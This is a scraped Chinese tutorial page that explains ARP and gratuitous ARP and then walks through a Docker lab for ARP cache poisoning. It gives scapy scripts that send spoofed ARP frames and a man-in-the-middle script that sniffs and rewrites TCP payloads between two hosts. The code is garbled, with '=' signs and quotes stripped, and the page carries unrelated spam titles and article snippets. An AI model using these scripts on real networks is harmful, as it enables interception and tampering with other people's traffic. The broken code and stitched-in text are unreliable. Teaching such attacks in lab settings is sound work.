运营实力 网站建设上海闵行做网站的公司

news/2025/10/5 6:15:40/文章来源:
运营实力 网站建设,上海闵行做网站的公司,昆明seo怎么做,网站开发公司上文章目录 一、相关知识1.什么是arp#xff08;地址解析协议#xff09;2.什么是免费arp#xff08;1#xff09;简介#xff08;2#xff09;主要应用#xff08;3#xff09;代码 3.什么是arp缓存中毒#xff08;1#xff09;简介#xff08;2#xff09;过程地址解析协议2.什么是免费arp1简介2主要应用3代码 3.什么是arp缓存中毒1简介2过程3目的4防御 二、arp缓存中毒 攻击过程1.搭建网络1网络拓扑2搭建网络的代码 2.查看ip对应的MAC1docker2192.168.60.1的MAC2HostA和HostM的MAC 3.arp缓存中毒攻击1代码 4.中间人攻击 参考资料 TCP/IP Attacks – ARP Cache Poisoning Fundamentals Explained ARP缓存中毒攻击 一、相关知识 1.什么是arp地址解析协议 ARP工作在OSI模型的第二层数据链路层和第三层网络层之间。 以下是ARP的基本工作流程 1ARP请求 当设备A需要向设备B发送数据时它需要知道设备B的MA C地址。 设备A在其ARP缓存中查找设备B的IP地址是否已经对应了一个MAC地址。如果找不到设备A会发送一个ARP请求。 ARP请求是一个广播消息包含发送方的IP地址和MAC地址以及目标设备的IP地址。 2ARP响应 网络中的所有设备都会接收并检查这个ARP请求。只有目标设备设备B会进行响应。 设备B接收到ARP请求后发送一个ARP响应包含自己的MAC地址。 设备A接收到ARP响应后将设备B的IP地址和MAC地址映射存储在其ARP缓存中。 3数据传输 设备A现在有了设备B的MAC地址可以通过数据链路层进行数据传输。 2.什么是免费arp 1简介 免费ARPGratuitous ARP是一种特殊的ARP请求设备发送这种请求并不是为了解析某个IP地址而是为了主动通知网络中的其他设备关于自身的IP地址和MAC地址的映射。免费ARP消息中源IP地址和目标IP地址都是发送设备的IP地址。以下是免费ARP的主要应用和工作原理。 2主要应用 1IP地址冲突检测 当设备启动并获取IP地址后会发送一个免费ARP请求。 如果网络中存在另一台设备拥有相同的IP地址该设备会响应此请求从而检测到IP地址冲突。 2ARP缓存更新 当设备的MAC地址发生变化例如网卡更换或虚拟机迁移时发送免费ARP请求通知网络中的其他设备更新它们的ARP缓存。 这有助于保持网络中ARP缓存的最新状态避免通信问题。 3网络冗余和负载均衡 在使用VRRP虚拟路由器冗余协议和HSRP热备份路由协议等协议时主路由器发生切换后会发送免费ARP请求通知网络中的设备更新ARP缓存以指向新的主路由器。 3代码 from scapy.all import *# 构建免费ARP请求包 gratuitous_arp ARP(op1, psrc192.168.1.100, hwsrcaa:bb:cc:dd:ee:ff, pdst192.168.1.100)# 发送免费ARP请求 send(gratuitous_arp, verboseFalse)3.什么是arp缓存中毒 1简介 ARP缓存中毒ARP Cache Poisoning也称为ARP欺骗ARP Spoofing是一种网络攻击技术攻击者通过发送伪造的ARP地址解析协议消息到局域网LAN将其MAC地址与另一台合法计算机的IP地址相关联从而导致网络数据包被错误地发送到攻击者的设备。 2过程 1伪造ARP响应攻击者向局域网中的其他设备发送伪造的ARP响应消息。这些伪造消息包含攻击者的MAC地址和被攻击者的IP地址。 2更新ARP缓存接收到伪造ARP响应的设备会更新其ARP缓存错误地将攻击者的MAC地址与合法的IP地址相关联。 3数据包重定向由于设备的ARP缓存已被中毒发送到受害者IP地址的数据包会被错误地发送到攻击者的设备。 3目的 1中间人攻击Man-in-the-Middle Attack攻击者可以截获、监视和修改在两个设备之间传输的数据。 2拒绝服务Denial of Service, DoS攻击者可以通过中毒多个设备的ARP缓存导致网络中断。 3网络嗅探Network Sniffing攻击者可以捕获敏感信息如用户名、密码、银行信息等。 4防御 1静态ARP表在设备上配置静态ARP映射防止动态更新。 2ARP检测工具使用工具监控和检测ARP欺骗行为。 3加密通信使用加密协议保护敏感数据防止被篡改和窃取。 二、arp缓存中毒 攻击过程 1.搭建网络 1网络拓扑 2搭建网络的代码 在 VM 上创建 docker 网络 extranet $ sudo docker network create --subnet10.0.2.0/24 --gateway10.0.2.8 --opt com.docker.network.bridge.namedocker1 extranet 在 VM 上创建 docker 网络 intranet $ sudo docker network create --subnet192.168.60.0/24 --gateway192.168.60.1 -- opt com.docker.network.bridge.namedocker2 intranet 在 VM 上新开一个终端创建并运行容器 Server2 $sudo docker run -it --nameServer2 --hostnameServer2 --netextranet -- ip10.0.2.7 --privileged seedubuntu /bin/bash 在 VM 上新开一个终端创建并运行容器 HostA $sudo docker run -it --nameHostA --hostnameHostA --netintranet -- ip192.168.60.2 --privileged seedubuntu /bin/bash 在 VM 上新开一个终端创建并运行容器 HostM $sudo docker run -it --nameHostM --hostnameHostM --netintranet -- ip192.168.60.3 --privileged seedubuntu /bin/bash2.查看ip对应的MAC 1docker2192.168.60.1的MAC 命令 ifconfig 结果 HostB192.168.60.1的MAC为02:42:53:be:7a:36 2HostA和HostM的MAC 让HostA和HostM互相Ping再用arp -a查看arp表 HostA192.168.60.2的MAC为 02:42:c0:a8:3c:02 HostM192.168.60.3的MAC为 02:42:c0:a8:3c:03 3.arp缓存中毒攻击 1代码 在桌面建立一个arp_request.py文件 from scapy.all import * from time import *# Machine As informaton IP_A 192.168.60.2 MAC_A 02:42:c0:a8:3c:02# Machine Bs informaton IP_B 192.168.60.1 MAC_B 02:42:53:be:7a:36# Attacker Machines informaton IP_M 192.168.60.3 MAC_M 02:42:c0:a8:3c:03print(SENDING SPOOFED ARP REPLY.........)# Construct spoofed ARP sent to machine A ether1 Ether() ether1.dst MAC_A arp1 ARP() arp1.psrc IP_B arp1.hwsrc MAC_M arp1.pdst IP_A arp1.op 1 frame1 ether1/arp1# Construct spoofed ARP sent to machine B ether2 Ether() ether2.dst MAC_B arp2 ARP() arp2.psrc IP_A arp2.hwsrc MAC_M arp2.pdst IP_B arp2.op 1 frame2 ether2/arp2while 1:sendp(frame1)sendp(frame2)sleep(5)首先需要启动容器HostA和HostM sudo docker start HostA sudo docker start HostM 将arp_request.py文件从主机移到HostM容器里 sudo docker cp arp_request.py HostM:/ 重新开一个终端进入HostA并ping192.168.60.1和192.168.60.3 sudo docker exec -it HostA bin/bash ping 192.168.60.1 ping 192.168.60.3 重新开一个终端进入HostM运行上述代码文件 sudo docker exec -it HostM bin/bash python3 arp_request.py 在HostA终端查看HostA的arp表 arp -a 可以发现HostB和HostM的MAC此时是一样的。 4.中间人攻击 1首先应该打开HostM的IP转发sudo sysctl -w net.ipv4.ip_forward1 2在HostA和HostB之间建立网络连接。 例如可以使用netcat 在HostB上启动监听nc -l -p 12345 在HostA上连接HostBnc 192.168.60.1 12345 3关闭HostM的IP转发 sudo sysctl -w net.ipv4.ip_forward0 4HostM运行代码middle.py #!/usr/bin/python from scapy.all import *VM_A_IP 192.168.60.2 VM_B_IP 192.168.60.1MAC_A 02:42:c0:a8:3c:02 MAC_B 02:42:53:be:7a:36def spoof_pkt(pkt):if pkt[IP].src VM_A_IP and pkt[IP].dst VM_B_IP and pkt[TCP].payload:print(ARP Cache Poisoning Man-in-the-MiddleAttacking...)data pkt[TCP].payload.loadprint(Original Packet.........)print(Source IP: , pkt[IP].src)print(Destination IP: , pkt[IP].dst)print(Message: , data)print(Message Length: %d % (len(data)))newpkt IP(bytes(pkt[IP]))del (newpkt.chksum)del (newpkt[TCP].payload)del (newpkt[TCP].chksum)newdata data.replace(b123, b456)newpkt newpkt/newdataprint(Spoofed Packet.........)print(Source IP : , newpkt[IP].src)print(Destination IP :, newpkt[IP].dst)print(Message: , newdata)print(Message Length: %d % (len(newdata)))send(newpkt)elif pkt[IP].src VM_B_IP and pkt[IP].dst VM_A_IP:print(The message is sent from host B to host A...)newpkt pkt[IP]send(newpkt)f tcp and (ether src MAC_A or \ether src MAC_B ) pkt sniff(ifaceeth0, filterf, prnspoof_pkt)此时A给B发送123B收到的是456

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/927895.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

长春模板建站系统个人静态网站

项目编号: S 045 ,文末获取源码。 \color{red}{项目编号:S045,文末获取源码。} 项目编号:S045,文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示四、核心代码4.1 查询社区4…

如何设网站主页北京品牌网站建设

固态硬盘(SSD)因其相对于传统硬盘驱动器(HDD)的诸多优势而日益受到青睐,包括更快的速度、更小的体积、更高的能效以及由于没有活动部件而增强的耐用性。此外,SSD 现在提供更大的存储容量,且价格…

月球尘埃电解技术实现资源就地利用

某机构开发的熔融风化层电解系统可将月球尘埃转化为太阳能电池、氧气和建筑材料,通过电流分离金属与氧气实现资源就地利用,该系统已完成关键设计评审并将于2026年进行自主演示。熔融风化层电解技术让月球尘埃变废为宝…

漏洞赏金计划公开后的三个阶段与应对策略

本文详细分析了漏洞赏金计划公开后通常会经历的三个阶段:提交量激增期、稳定期和长期参与期,并提供了每个阶段的具体特征和管理建议,帮助企业更好地规划和运营自己的漏洞赏金计划。漏洞赏金计划公开后可以期待什么?…

做网站建设业务员怎么样网站服务器主机配置

你是不是做实验经常性的需要一些气象数据,例如PM2.5、相对湿度、月均温度等等…… 但是当你开始寻找数据时就遇到困难了,由于权限、数据网站之类的麻烦你会花费大量无用时间,甚至有时候一无所获得不偿失,这就很头疼了!…

网站项目建设策划书济南建设网站制作优化分析

然后我们来看如何用urllib发送post请求,这里我们 用百度翻译为例 我们翻译一个spider,然后我们看请求,可以看到有很多 找到sug这个 可以看到这里的form data,就是post请求体中的内容 然后我们点击preview其实就是 返回的实际内容 然后请求方式用的post 然后我们把上面的信息…

霸县网站建设山东网站营销seo电话

记得有一次处理Excel文件对比,自己前后使用VBA和NPOI对比了下效率。由于涉及到页面的渲染和刷新,二者的处理速度差了个数量级(10多秒和几十分钟的差别)。当然使用NPOI操作时也做了一定优化。印象这么深刻这次一有需求就想到了NPOI…

网站开发销售怎么做微信分销系统有哪些平台

[html] 编写html时,你有没有用过Emmet插件呢?说说它的优点及规则有哪些? 用过,vscode编辑器自带支持Emmet语法; 它可以帮助快速编写HTML代码,减少复制粘贴的操作; 常见规则: 1. >…

峡山网站建设软件开发和编程的区别

一、问题背景 粉丝在进行 ARM-A 系列软件编程时遇到以下问题,串口打印这段日志后就重启了,粉丝求助问是什么原因? Unhandled Exception in EL3. x30 0x0000000000b99b84 x0 0x00000000179a25b0 x1 …

服务器 多个网站荥阳网站建设公司哪家好

近年来,随着我国工业化、城镇化步伐的不断加快,城市配电网络取得令人瞩目的发展成果。变配电室是供配电系统的核心,在供配电系统中占有特殊的重要地位[1]。变配电室电气设备运行状态和环境信息缺乏必要的监测评估预警手段,如有一日遭遇突发情…

网站单页模板怎么安装棋牌源码之家

一、QDockWidget概述 QDockWidget 是 Qt 中的一个窗口部件,用于创建可停靠的窗口,通常用于构建多文档接口(MDI)或可定制的用户界面。QDockWidget 允许用户将窗口停靠在应用程序的主窗口周围,或将其拖动到独立的浮动窗…

品牌展示设计网站福田蒙派克质量怎么样

Docker镜像就是一个只读的模板,可以用来创建Docker容器。 例如:一个镜像可以包含一个完整的centos操作系统环境,里面仅安装了mysql、nginx等或用户需要的其他应用程序。 Docker提供了一个非常简单的机制来创建镜像或者更新现有的镜像&#…

江阴公司企业网站建设新开传奇网站发布站

文章目录 一、Vue3 新特性1.1 重写双向数据绑定1.1.1 Vue2 基于Object.defineProperty() 实现1.1.2 Vue3 基于Proxy 实现 1.2 优化 虚拟DOM1.3 Fragments1.4 Tree shaking1.5 Composition API 二、 vue-devtools 调试工具三、环境配置四、脚手架目录介绍五、SFC 语法规范解析附…

广告公司网站首页设计页面30岁转行做网站编辑

计算机组装必懂的53个单词及装机步骤51条2007-05-26 11:43计算机组装必懂的53个单词及装机步骤51条计算机组装DIY(Do It Yourself)至少要看懂的五十三个英文单词和缩写也许英语单词对大部分的电脑玩家不算是很困难的,但是对于一些老年用户来说,这些英语单…

ftp怎么连接网站网站押金收回怎么做分录

Loader 原理 loader 概念 帮助 webpack 将不同类型的文件转换为 webpack 可识别的模块。 loader 执行顺序 分类pre: 前置 loadernormal: 普通 loaderinline: 内联 loaderpost: 后置 loader执行顺序4 类 loader 的执行优级为:pre > normal > inline > post 。相…

国家住房城乡建设厅网站郑州市建设信息网站

Linux TCP参数配置 阿里云规范 1.【推荐】高并发服务器建议调小 TCP 协议的 time_wait 超时时间。 说明:操作系统默认 240 秒后,才会关闭处于 time_wait 状态的连接,在高并发访问下,服务器端会因为处于 time_wait 的连接数太多&am…

vs2017建设网站wordpress 首页函数

大纲 标量函数入参并非表中一行(Row)入参是表中一行(Row)alias PyFlink中关于用户定义方法有: UDF:用户自定义函数。UDTF:用户自定义表值函数。UDAF:用户自定义聚合函数。UDTAF&…

哪些网站可以找到兼职做报表的网站建设背景和目标

1 机器学习的三个方面 1.1 数据 包括数据采集、增强和质量管理,相当于给人工智能模型学习什么样的知识 第一、什么专业的知识; 第二、知识是否有体系,也就是说样本之间是否存在某种关联、差异等,这个涉及到样本选择等问题&#x…

素材网站下载跨境外贸平台有哪些

「DLP-KDD 2021征文」及上届论文全集,包含深度学习推荐/广告系统、多目标、模型服务等在DLP-KDD 2021征稿之际,为大家准备了DLP-KDD2020的全部文章和资源列表,内容涵盖了几乎所有深度学习的业界应用前沿,包括深度学习推荐系统应用…

公司网站维护怎么维护做最最优秀的视频网站

目录 一,tail查看文件尾部指令 二,date显示日期指令 三,cal查看日历指令 四,find搜索指令 五,grep 查找指令 六,> 和>> 重定向输出指令 七, | 管道指令 八,&&逻辑控…